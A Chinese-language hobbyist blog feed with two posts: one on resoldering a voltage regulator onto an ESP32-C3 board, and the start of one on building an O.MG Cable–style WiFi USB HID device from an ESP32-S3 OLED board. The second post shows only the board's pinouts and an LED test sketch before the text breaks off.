tag:blogger.com,1999:blog-47499999613325262552024-03-17T22:10:09.190+08:00分享科技與遊戲 by HKGoldenMr.A透過錯誤經驗,分享科技與遊戲當中的技術,提醒自己及瀏覽此網誌的人,避免踏進相同的陷阱。<br>
本網誌只提供技術概要及合法軟件連結(如有)。<br>
如閣下因下載、安裝、設定資料等操作,導致任何損失,請自行承擔風險及處理,在下不會負責。HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.comBlogger575125tag:blogger.com,1999:blog-4749999961332526255.post-14485788232008977022024-03-17T22:09:00.000+08:002024-03-17T22:09:36.079+08:00維修 ESP32C3 Super Mini<p>在下發現其中一塊 ESP32-C3 Super Mini 開發板上的其中一件零件脫落,令開發板無法啟動<br/>
既然已經無法使用,因此在下嘗試自行維修,反正已經損壞,即使維修失敗都沒有損失</p>
<a name='more'></a>
<a id="mra-previewFrame" target="_blank">預覽</a>
<div class="mra-index">
<ul>
<li><a href="#總結">總結</a></li>
</ul>
</div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5PvV1hReeD5kEQ6knsoErU36LCsmOK43wH70zsmjh-7ZEWT0A4_e2WOZRdRhArCm2Eeo_KS-0W6qi8Edxx4NcOgiRY8MjelGiijVin2ctgQnhEebTPdyyPRa8hnsNbhC3seNYY2Y3QK6BI-3btI-ps33XsRoSpM4lULLkXgbWWB3cij4B4WVu8PDp6ww/w0/esp32c3-repair-001.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5PvV1hReeD5kEQ6knsoErU36LCsmOK43wH70zsmjh-7ZEWT0A4_e2WOZRdRhArCm2Eeo_KS-0W6qi8Edxx4NcOgiRY8MjelGiijVin2ctgQnhEebTPdyyPRa8hnsNbhC3seNYY2Y3QK6BI-3btI-ps33XsRoSpM4lULLkXgbWWB3cij4B4WVu8PDp6ww/w600/esp32c3-repair-001.jpg"/></a></div>
<p>在下發現其中一塊 ESP32-C3 Super Mini 開發板連接電源後沒有任何反應,經 USB 連接到電腦亦找不到 USB裝置<br/>
在下仔細檢查,發現其中一件零件脫落,令開發板無法再次啟動</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT4CxcfUbNUhYmlk1nAL7IjchQIXCuT5FltjGAHE-8MRKdrrKm8NnhOLKg5xaKzSMI5Gvi_lsWqWmjN8I8y7dTRBr40xKS0P7n96Bjxyz1jEl4J7Cm3pzJGjUvfLvazhCp3SlVvIbc09HvnDxGRRDet2GbBcpgd64lHmivpPTqOhP1fZMGTr0XAAoynoM/w0/esp32c3-repair-002.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT4CxcfUbNUhYmlk1nAL7IjchQIXCuT5FltjGAHE-8MRKdrrKm8NnhOLKg5xaKzSMI5Gvi_lsWqWmjN8I8y7dTRBr40xKS0P7n96Bjxyz1jEl4J7Cm3pzJGjUvfLvazhCp3SlVvIbc09HvnDxGRRDet2GbBcpgd64lHmivpPTqOhP1fZMGTr0XAAoynoM/w600/esp32c3-repair-002.jpg"/></a></div>
<p>脫落的 S2WD ,是一種穩壓器</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtT5MxJheBiYdhsOEUZkAgeYtX8EIgx6gwyaXxVkeSItiPJUBgoIrl0nsTl-yRX5P8Tca75W6LamiR-kKhXHcdxZYrK5QYiytqhnhqweuCZbv1Q7whNuUTe_D9J89Wn4bRugLrXB4XDuH6g2yMW9vqPbOKdl5xuq6-qR-a8C9h2WbZw067YzQfH-8B1wA/w0/esp32c3-repair-003.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtT5MxJheBiYdhsOEUZkAgeYtX8EIgx6gwyaXxVkeSItiPJUBgoIrl0nsTl-yRX5P8Tca75W6LamiR-kKhXHcdxZYrK5QYiytqhnhqweuCZbv1Q7whNuUTe_D9J89Wn4bRugLrXB4XDuH6g2yMW9vqPbOKdl5xuq6-qR-a8C9h2WbZw067YzQfH-8B1wA/w600/esp32c3-repair-003.jpg"/></a></div>
<p>S2WD 與港幣1毫 上的文字尺寸非常接近</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ_jWA_byjRF_IfmBM6Emj5mlXGE6_TprMDUqGIRR3Jd80fsGB_vhsnB11B4_FYi1ZotGeRlQh2-hADtpbMUIACjwYht-LlGB37otMi0m7qEAE3t0Y7GzhCU5_WaLN64MGu0sTtpOsQmK_5wIqCOwOLhbr7tkg061gjbhZy9iHCrauTp18adDwJ2LXsfk/w0/esp32c3-repair-004.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ_jWA_byjRF_IfmBM6Emj5mlXGE6_TprMDUqGIRR3Jd80fsGB_vhsnB11B4_FYi1ZotGeRlQh2-hADtpbMUIACjwYht-LlGB37otMi0m7qEAE3t0Y7GzhCU5_WaLN64MGu0sTtpOsQmK_5wIqCOwOLhbr7tkg061gjbhZy9iHCrauTp18adDwJ2LXsfk/w600/esp32c3-repair-004.jpg"/></a></div>
<p>由於 S2WD 非常細小,雖然在下焊接到焊墊上,但焊錫的份量並不是很多<br/>
而且在下沒有幼小的吸錫帶,因為焊墊上的錫無法完全清除<br/>
令 S2WD 部分引腳因為焊錫的厚度而不是完全貼在焊墊上</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>這個維修在下曾經向熟識電子開發的人士意見,但全部都認為放棄,購買另一件更好,反正都只是港幣10多元<br/>
但既然有工具,在下認為不妨一試,反正沒有損失<br/>
不過由於零件非常細小,而且開發板的空間同樣非常狹窄,無法用手仔細調整位置,必須使用鑷子擺放</p>
<p>在下先將開發板使用高溫膠紙固定在工作枱上,再使用鑷子將零件調整到焊接的位置<br/>
再使用特尖焊頭將其中一支引腳焊接到焊墊<br/>
零件固定後,使用鑷子將零件壓下,再焊接其他引腳</p>
<p>步驟看似雖然簡單,但維修這種非常細小的零件,呼吸都會吹走零件,如果不慎掉在地上基本上不可能找回<br/>
而且零件之間的空間非常小,焊接時需要在不能影響其他零件同時焊接 S2WD 回開發板則並不容易</p>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-28594682825829401652024-03-02T22:21:00.002+08:002024-03-02T22:21:49.695+08:00使用 ESP32-S3 模仿 O.MG Cable<p>以 ATmega32u4 讀 SD卡 指令模擬 USB HID 操作鍵盤及滑鼠自動操作很方便<br/>
雖然不需要每次更新 ATmega32u4 的韌體,但仍然需要預先將指令儲存在 SD卡 中<br/>
因此在下想製作可以互動操作</p>
<a name='more'></a>
<a id="mra-previewFrame" target="_blank">預覽</a>
<script type="text/javascript">
//<!--
window.addEventListener("load", function(loadEvent) {
var previewFrame = document.getElementById("mra-previewFrame");
previewFrame.href = window.location.href;
});
//-->
</script>
<div class="mra-index">
<ul>
<li><a href="#ESP32-S3-0.42in-OLED">ESP32-S3 0.42in-OLED</a>
<ul>
<li><a href="#ESP32-S3-0.42in-OLED外觀">外觀</a></li>
<li><a href="#ESP32-S3-0.42in-OLED引腳">引腳</a></li>
<li><a href="#ESP32-S3-0.42in-OLED-RGBLED測試">RGB LED 測試</a></li>
<li><a href="#ESP32-S3-0.42in-OLED-OLED測試">OLED 測試</a></li>
<li><a href="#ESP32-S3-0.42in-OLED-USBHID測試">USB HID 測試</a></li>
</ul>
</li>
<li><a href="#ESP32WiFiUSBHID">ESP32 WiFi USB HID</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<p>O.MG Cable 是一種由 Hak5公司 製作的 USB線<br/>
外觀上與一般 USB線 相似,但內部就是一塊 <span class="mra-highlighter">具備WiFi功能的微控制器</span><br/>
因此可以建立網頁伺服器,透過 <span class="mra-highlighter">HTTP請求</span> 將操作內容發送到微控制器再模擬 <span class="mra-highlighter">USB HID</span> 發送對應指令<br/>
但 O.MG Cable 非常貴,因此在下尋找其他替代品</p>
<a name="ESP32-S3 0.42in-OLED"></a><h4 class="mra-h4">ESP32-S3 0.42in-OLED</h4>
<p>ESP32-S3 0.42in-OLED 是一款整合 <span class="mra-highlighter">ESP32-S3</span> 及 <span class="mra-highlighter">0.42寸OLED</span> 的開發板,總共引出 11支引腳</p>
<p>使用 ESP32-S3 原生的 I<sup>2</sup>C 的 <span class="mra-highlighter">SCL</span> 及 <span class="mra-highlighter">SDA</span> 連接到 0.42寸OLED熒幕<br/>
除了 0.42寸OLED熒幕 ,還有一粒 <span class="mra-highlighter">WS2812B RGB LED</span> ,兩者都不佔用引出的引腳<br/>
另外 ESP32-S3 亦具備 WiFi 及 BLE HID 及 USB HID 功能<br/>
因此在下嘗試使用 ESP32-S3 來模仿 O.MG Cable</p>
<a name="ESP32-S3-0.42in-OLED外觀"></a><h5 class="mra-h5">外觀</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJrDO6d-0_hCPUNFo3EmUYVrgzjxS0BSOdT18Z8GHtNaVKg3OeknFa-Gz7DkDsnN-RHwzg1EneOqe1NMKjh1yblUcjYm7yVNuT321sTeyMB9dv5gk8fQRfY0S3cOeXWgu8UHiKZ8Tcai0PPr0r97ImhzyWBT4T6M_xdG2whYa2fzSsJ3Tt5Iep0qwlKsE/w0/ep32-wifi-hid-001.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJrDO6d-0_hCPUNFo3EmUYVrgzjxS0BSOdT18Z8GHtNaVKg3OeknFa-Gz7DkDsnN-RHwzg1EneOqe1NMKjh1yblUcjYm7yVNuT321sTeyMB9dv5gk8fQRfY0S3cOeXWgu8UHiKZ8Tcai0PPr0r97ImhzyWBT4T6M_xdG2whYa2fzSsJ3Tt5Iep0qwlKsE/w0/ep32-wifi-hid-001.jpg"/></a></div>
<p>ESP32-S3 0.42in-OLED 的正面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjubs_kmO0t1tQgqjHUVZxYBMHS765srtxAm6A93-421yv1sXDTURw9VSQm_cb7TqywQydy2saWQndL4H3MHckknXK1vyXNglwL-2XTx49C6ZKLWJ7Jzfeuvm5lpWO5o0Gohyphenhyphen5Q3DdApuB8cXoCyap8NDytaCMAR6j001iZfNXIfWUu6N4lxoAlspq5zwE/w0/ep32-wifi-hid-002.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjubs_kmO0t1tQgqjHUVZxYBMHS765srtxAm6A93-421yv1sXDTURw9VSQm_cb7TqywQydy2saWQndL4H3MHckknXK1vyXNglwL-2XTx49C6ZKLWJ7Jzfeuvm5lpWO5o0Gohyphenhyphen5Q3DdApuB8cXoCyap8NDytaCMAR6j001iZfNXIfWUu6N4lxoAlspq5zwE/w0/ep32-wifi-hid-002.jpg"/></a></div>
<p>這塊 0.42寸OLED熒幕 使用 <span class="mra-highlighter">SSD1306晶片</span><br/>
並且使用 I<sup>2</sup>C 協定直接連接到 ESP32-S3晶片 的 GP40(SCL) 及 GP41(SDA) ,不需要佔用引出的引腳</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1IJYXjd7KZ_pDz1_e0SdTrsskEO9Nll5BZ4-Uqt_LQCUtttubVX88bCJa1Z1hje0ogmLnYsFyl8or4dezWrqSOastevuKlDNnRV1sFrc8woJMV2PSn-uJG30kx2hq8VMbR4264XOTHBnhyphenhyphenESJ3FBES5cj3qTfB8ayGgq4Lyf18xLAWWv-4gGPsu-oF1E/w0/ep32-wifi-hid-003.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1IJYXjd7KZ_pDz1_e0SdTrsskEO9Nll5BZ4-Uqt_LQCUtttubVX88bCJa1Z1hje0ogmLnYsFyl8or4dezWrqSOastevuKlDNnRV1sFrc8woJMV2PSn-uJG30kx2hq8VMbR4264XOTHBnhyphenhyphenESJ3FBES5cj3qTfB8ayGgq4Lyf18xLAWWv-4gGPsu-oF1E/w0/ep32-wifi-hid-003.jpg"/></a></div>
<p>0.42寸OLED熒幕 擁有 闊72像素 高40像素 共 2880像素</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF6PUaQoMmsPxabcaV0-p2aaWAWZXjmKRts0yr87T4xhoKBdZJiLXoeXGQaURVOF1bP-E16Vc91taVSZuVhrfg6khTK6svleJqk2aj98SK7hKb-n_D3EJL-ayvdUk4vFwd7FfH53eTycn-xI3WFC4RvsBrk80KcnprvRRB29xFNHLl_PpBT1H-Jjm6wWo/w0/ep32-wifi-hid-004.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF6PUaQoMmsPxabcaV0-p2aaWAWZXjmKRts0yr87T4xhoKBdZJiLXoeXGQaURVOF1bP-E16Vc91taVSZuVhrfg6khTK6svleJqk2aj98SK7hKb-n_D3EJL-ayvdUk4vFwd7FfH53eTycn-xI3WFC4RvsBrk80KcnprvRRB29xFNHLl_PpBT1H-Jjm6wWo/w0/ep32-wifi-hid-004.jpg"/></a></div>
<p>除了 OLED 外,亦提供使用 WS2812B RGB LED<br/>
與 OLED 相同, RGB LED 控制引腳直接連接到 ESP32-S3晶片 的 GP39 ,同樣不需要佔用引出的引腳</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi76n3RoLXyMGbJoxRnbLQj_u-e8f80s8uwOnN6m3VA3KbRkNYIb0iuTfOI0pDwQsvswsOfSH21TNvZFEY4iCyoTx82CWfoqYlmYROilsdNlkBoFj2VzG5NbeRBuo6Zm88TGMveMnKy0C3AegCdaYQ-mTgdG7FJbFzU4JxUU-D727NczNUTCXN67bv5Kec/w0/ep32-wifi-hid-005.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi76n3RoLXyMGbJoxRnbLQj_u-e8f80s8uwOnN6m3VA3KbRkNYIb0iuTfOI0pDwQsvswsOfSH21TNvZFEY4iCyoTx82CWfoqYlmYROilsdNlkBoFj2VzG5NbeRBuo6Zm88TGMveMnKy0C3AegCdaYQ-mTgdG7FJbFzU4JxUU-D727NczNUTCXN67bv5Kec/w0/ep32-wifi-hid-005.jpg"/></a></div>
<p>背面焊接 ESP32-S3晶片,具備 WiFi 及 BLE HID 及 USB HID 功能</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpUUgWJqnWlPvWvCcMEIq7w5CLk02OmU2KBsw2sXKS96dgZXXzV1uC4uhZp648_zhv-77Qci9NM95QqadqRa_DXTAXKP7VadVeTw56BeOHDnwjUMhlena0EMXoTJ7gjM55Q11MosqAFcWkVEdyZaXThfMRVoU8kAl-CMGamd0gJa6PX9wDZS3y5GU2TGI/w0/ep32-wifi-hid-006.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpUUgWJqnWlPvWvCcMEIq7w5CLk02OmU2KBsw2sXKS96dgZXXzV1uC4uhZp648_zhv-77Qci9NM95QqadqRa_DXTAXKP7VadVeTw56BeOHDnwjUMhlena0EMXoTJ7gjM55Q11MosqAFcWkVEdyZaXThfMRVoU8kAl-CMGamd0gJa6PX9wDZS3y5GU2TGI/w0/ep32-wifi-hid-006.jpg"/></a></div>
<p>BOOT按鈕,亦是 <span class="mra-highlighter">GP0</span> ,按下表示接地</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyQ3tR3Ig5bPBpKICyeSQOsRLhlYvLhojhXrPIq6RnXz5e4WFnalrMlfCrnmtevH9da1hdFmt0EHFl4AwxRYbNs0rVDNECd4ubjXb6-7NCmewYk9mh3hh2Awc5F6GQ1E6nzV-s5d_50ehs3-db6nU11PGvEGbJjkNJs2whtQ__oW0WjXFacZZD-kuxafg/w0/ep32-wifi-hid-007.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyQ3tR3Ig5bPBpKICyeSQOsRLhlYvLhojhXrPIq6RnXz5e4WFnalrMlfCrnmtevH9da1hdFmt0EHFl4AwxRYbNs0rVDNECd4ubjXb6-7NCmewYk9mh3hh2Awc5F6GQ1E6nzV-s5d_50ehs3-db6nU11PGvEGbJjkNJs2whtQ__oW0WjXFacZZD-kuxafg/w0/ep32-wifi-hid-007.jpg"/></a></div>
<p>RST按鈕,按下接地並重設裝置</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilxG-VFp0SKkuHRrKfumIxosCb_QWBhkoOfo8nUDYga80PUnmZuHkqrRAqqZUHylxL1zV198HqRP79fnqRTBmErKdrlbL1xe1L0xI2NSjxEVxvhOxfHiiTtaNZMaJM7QAJvc_UVHVlh1u0P5W6W4DxV0Y0gDs6PqSuv5yYlIgY3O7GNpkCOOtd4oXftUo/w0/ep32-wifi-hid-008.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilxG-VFp0SKkuHRrKfumIxosCb_QWBhkoOfo8nUDYga80PUnmZuHkqrRAqqZUHylxL1zV198HqRP79fnqRTBmErKdrlbL1xe1L0xI2NSjxEVxvhOxfHiiTtaNZMaJM7QAJvc_UVHVlh1u0P5W6W4DxV0Y0gDs6PqSuv5yYlIgY3O7GNpkCOOtd4oXftUo/w0/ep32-wifi-hid-008.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFJMep2P-4Na2nTrLlG5FuUxCUQiyFoXLkf-j09U1DtYu3ZwBsUJtF7jZHS6ngd4pxifVJet8j5DOXeznv34rTZj0Jk2apd3Lob7KgxIc0JCKoDrbGV-5FIu8pPXpcg5yQgURRw_zKjxHuDaWl2ZYu5XifqwUg9J8yToNNhCC_RUnOHov6vEMjvPU3BsY/w0/ep32-wifi-hid-009.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFJMep2P-4Na2nTrLlG5FuUxCUQiyFoXLkf-j09U1DtYu3ZwBsUJtF7jZHS6ngd4pxifVJet8j5DOXeznv34rTZj0Jk2apd3Lob7KgxIc0JCKoDrbGV-5FIu8pPXpcg5yQgURRw_zKjxHuDaWl2ZYu5XifqwUg9J8yToNNhCC_RUnOHov6vEMjvPU3BsY/w0/ep32-wifi-hid-009.jpg"/></a></div>
<p>顯示開關狀態的 <span class="mra-highlighter">藍色LED</span>,連接電源後亮著</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlYnbdxXl8dceTjd7LZem9rEM7v8HOOzZTiVltqodNA4jEzrz-v5cURq3M3OA-dceSpQk43tZ-POnau92U_-0Y6Lj23z6NobVTkNCW2K0VkBeUabZKpsX4iDrcOISs5zYPE5TDDn1ZLzdOwgFVbryK_RrQLtm4EunF4kFccMisDDaKnZiheU15MTF06l8/w0/ep32-wifi-hid-010.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlYnbdxXl8dceTjd7LZem9rEM7v8HOOzZTiVltqodNA4jEzrz-v5cURq3M3OA-dceSpQk43tZ-POnau92U_-0Y6Lj23z6NobVTkNCW2K0VkBeUabZKpsX4iDrcOISs5zYPE5TDDn1ZLzdOwgFVbryK_RrQLtm4EunF4kFccMisDDaKnZiheU15MTF06l8/w0/ep32-wifi-hid-010.jpg"/></a></div>
<p>與之前試用的 ESP32-C3 Super Mini 相同,ESP32-S3 0.42-OLED 同樣使用 <span class="mra-highlighter">晶片天線</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiovdOTH-MF8Pv9buWu-qNOHD0BTDlPFp5X8DcQMtBLzAictHde5A4hYOu_Q8-O7znPywB8i20UJ9oYskHhY1hHGjOsdD3QqwfqzO5Pj6P5m72q1B01U5HFg9f0eg9WUfq1l_YPupFL-8JXKmxYDL2p5UTKkF7Iq6486X7grEe6SwreHlPHFUzjoZq4q50/w0/ep32-wifi-hid-011.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiovdOTH-MF8Pv9buWu-qNOHD0BTDlPFp5X8DcQMtBLzAictHde5A4hYOu_Q8-O7znPywB8i20UJ9oYskHhY1hHGjOsdD3QqwfqzO5Pj6P5m72q1B01U5HFg9f0eg9WUfq1l_YPupFL-8JXKmxYDL2p5UTKkF7Iq6486X7grEe6SwreHlPHFUzjoZq4q50/w0/ep32-wifi-hid-011.jpg"/></a></div>
<p>ESP32-S3 0.42-OLED 除了能使用 <span class="mra-highlighter">BAT(VIN)</span> 及 <span class="mra-highlighter">USB</span> 連接電源<br/>
亦提供 <span class="mra-highlighter">JST XH 插頭</span>,可以連接 4支引腳,由左至右順序為:</p>
<div>
<ol>
<li>GND</li>
<li>3V3(VIN)</li>
<li>SDA</li>
<li>SCL</li>
</ol>
</div>
<a name="ESP32-S3-0.42in-OLED引腳"></a><h5 class="mra-h5">引腳</h5>
<table class="mra-table mra-collapse" width="50%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="25%"/>
<col width="25%"/>
<col width="25%"/>
<col width="25%"/>
</colgroup>
<thead>
<tr class="mra-pin-header">
<th colspan="4">USB方向(正面)</th>
</tr>
<tr class="mra-pin-header">
<th colspan="2">左排引腳</th>
<th colspan="2">右排引腳</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td class="mra-pin-vcc">15</td>
<td class="mra-pin-vcc">VIN</td>
</tr>
<tr>
<td class="mra-pin-dig">GP18</td>
<td class="mra-pin-dig">1</td>
<td class="mra-pin-vcc">14</td>
<td class="mra-pin-vcc">5V</td>
</tr>
<tr>
<td class="mra-pin-dig">GP17</td>
<td class="mra-pin-dig">2</td>
<td class="mra-pin-gnd">13</td>
<td class="mra-pin-gnd">GND</td>
</tr>
<tr>
<td class="mra-pin-dig">GP9</td>
<td class="mra-pin-dig">3</td>
<td class="mra-pin-vcc">12</td>
<td class="mra-pin-vcc">3V3</td>
</tr>
<tr>
<td class="mra-pin-dig">GP8</td>
<td class="mra-pin-dig">4</td>
<td class="mra-pin-mosi">11</td>
<td class="mra-pin-mosi">GP35</td>
</tr>
<tr>
<td class="mra-pin-dig">GP7</td>
<td class="mra-pin-dig">5</td>
<td class="mra-pin-sck">10</td>
<td class="mra-pin-sck">GP36</td>
</tr>
<tr>
<td class="mra-pin-dig">GP6</td>
<td class="mra-pin-dig">6</td>
<td class="mra-pin-miso">9</td>
<td class="mra-pin-miso">GP37</td>
</tr>
<tr>
<td class="mra-pin-tx">GP5</td>
<td class="mra-pin-tx">7</td>
<td class="mra-pin-rx">8</td>
<td class="mra-pin-rx">GP16</td>
</tr>
</tbody>
</table>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="15%"/>
<col width="15%"/>
<col width="15%"/>
<col width="55%"/>
</colgroup>
<thead>
<tr class="mra-pin-header">
<th>編號</th>
<th>引腳</th>
<th>方向</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-dig">
<td>1</td>
<td>GP18</td>
<td>輸出輸入</td>
<td>第18數碼引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>2</td>
<td>GP17</td>
<td>輸出輸入</td>
<td>第17數碼引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>3</td>
<td>GP9</td>
<td>輸出輸入</td>
<td>第9數碼引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>4</td>
<td>GP8</td>
<td>輸出輸入</td>
<td>第8數碼引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>5</td>
<td>GP7</td>
<td>輸出輸入</td>
<td>第7數碼引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>6</td>
<td>GP6</td>
<td>輸出輸入</td>
<td>第6數碼引腳</td>
</tr>
<tr class="mra-pin-tx">
<td>7</td>
<td>GP5</td>
<td>輸出輸入</td>
<td>第5數碼引腳,UART TX引腳</td>
</tr>
<tr class="mra-pin-rx">
<td>8</td>
<td>GP16</td>
<td>輸出輸入</td>
<td>第16數碼引腳,UART RX引腳</td>
</tr>
<tr class="mra-pin-miso">
<td>9</td>
<td>GP37</td>
<td>輸出輸入</td>
<td>第37數碼引腳,SPI MISO引腳</td>
</tr>
<tr class="mra-pin-sck">
<td>10</td>
<td>GP36</td>
<td>輸出輸入</td>
<td>第36數碼引腳,SPI SCK引腳</td>
</tr>
<tr class="mra-pin-mosi">
<td>11</td>
<td>GP35</td>
<td>輸出輸入</td>
<td>第35數碼引腳,SPI MOSI引腳</td>
</tr>
<tr class="mra-pin-vcc">
<td>12</td>
<td>3V3</td>
<td></td>
<td>3.3V 電源輸出</td>
</tr>
<tr class="mra-pin-gnd">
<td>13</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-vcc">
<td>14</td>
<td>5V</td>
<td></td>
<td>5V 電源輸出</td>
</tr>
<tr class="mra-pin-vcc">
<td>15</td>
<td>VIN</td>
<td></td>
<td>電源輸入</td>
</tr>
<tr class="mra-pin-dig">
<td>RGBLED</td>
<td>GP39</td>
<td>輸出</td>
<td>第39數碼引腳,WS2812B RGB LED引腳</td>
</tr>
<tr class="mra-pin-scl">
<td>OLEDSCL</td>
<td>GP40</td>
<td>輸出</td>
<td>第40數碼引腳,OLED I<sup>2</sup>C SCL引腳</td>
</tr>
<tr class="mra-pin-sda">
<td>OLEDSDA</td>
<td>GP41</td>
<td>輸出</td>
<td>第41數碼引腳,OLED I<sup>2</sup>C SDA引腳</td>
</tr>
</tbody>
</table>
<a name="ESP32-S3-0.42in-OLED-RGBLED測試"></a><h5 class="mra-h5">RGB LED 測試</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMcwnrQ9vh5KN9l0gxnpQn1FQYHBX5UuqhFk7wS4Fd3V0dwEYhPHE4D8eWcgf-yixzOKXBuvZkeeFoUtorPUAjRoSoMvDKLuQlNHXeUTLjCwsC6q0YItLoDPEdroCLZvs7Eskvbrk9_sFQpIsvPSy1gfev5k2AOLX_H46tqjmY3LgV8MzKn6DMMc0_NgM/w0/ep32-wifi-hid-015.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMcwnrQ9vh5KN9l0gxnpQn1FQYHBX5UuqhFk7wS4Fd3V0dwEYhPHE4D8eWcgf-yixzOKXBuvZkeeFoUtorPUAjRoSoMvDKLuQlNHXeUTLjCwsC6q0YItLoDPEdroCLZvs7Eskvbrk9_sFQpIsvPSy1gfev5k2AOLX_H46tqjmY3LgV8MzKn6DMMc0_NgM/w0/ep32-wifi-hid-015.png"/></a></div>
<p>安裝 <span class="mra-highlighter">neopixel函式庫</span>,簡化控制 WS2812B RGB LED 的流程</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKHlP0qVICPQwCKTkhZ1LzOIp-wQvefTn5vdLk-5dzK7gbYS3z1NNv-W_gQq-k7cpPLwzxGBf48fTQdBuzoQ4forif_bghYuelDaslJCN08Fi4XYs6ndKxMA4Ak2C-iOZvGLmvBRhLpOdb8mf6-NBEnCUW0_WMwoH8TnjzSceO0hfqzwWos0iC0nN12Yk/w0/ep32-wifi-hid-012.gif"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKHlP0qVICPQwCKTkhZ1LzOIp-wQvefTn5vdLk-5dzK7gbYS3z1NNv-W_gQq-k7cpPLwzxGBf48fTQdBuzoQ4forif_bghYuelDaslJCN08Fi4XYs6ndKxMA4Ak2C-iOZvGLmvBRhLpOdb8mf6-NBEnCUW0_WMwoH8TnjzSceO0hfqzwWos0iC0nN12Yk/w0/ep32-wifi-hid-012.gif"/></a></div>
<pre class="brush:bash">#include <Adafruit_NeoPixel.h>
#define RGB_PIN 39
#define RGB_COUNT 1
#define EMPTY 0x00
#define LEVEL 0x10
const uint32_t PROGMEM COLORS[] = {
EMPTY << 16 | EMPTY << 8 | EMPTY,
LEVEL << 16 | EMPTY << 8 | EMPTY,
EMPTY << 16 | LEVEL << 8 | EMPTY,
EMPTY << 16 | EMPTY << 8 | LEVEL,
LEVEL << 16 | LEVEL << 8 | EMPTY,
EMPTY << 16 | LEVEL << 8 | LEVEL,
LEVEL << 16 | EMPTY << 8 | LEVEL,
LEVEL << 16 | LEVEL << 8 | LEVEL,
};
Adafruit_NeoPixel rgb(RGB_COUNT, RGB_PIN, NEO_GRB + NEO_KHZ800);
void setup() {
rgb.begin();
}
void loop() {
for (byte i = 0; i < sizeof(COLORS) / sizeof(const uint32_t PROGMEM); i++) {
rgb.setPixelColor(0, COLORS[i]);
rgb.show();
delay(1000);
}
}</pre>
<p>使用測試 WS2812B RGB LED 的函式庫便可以控制,只是設定 引腳為39 及 數量為1</p>
<!--
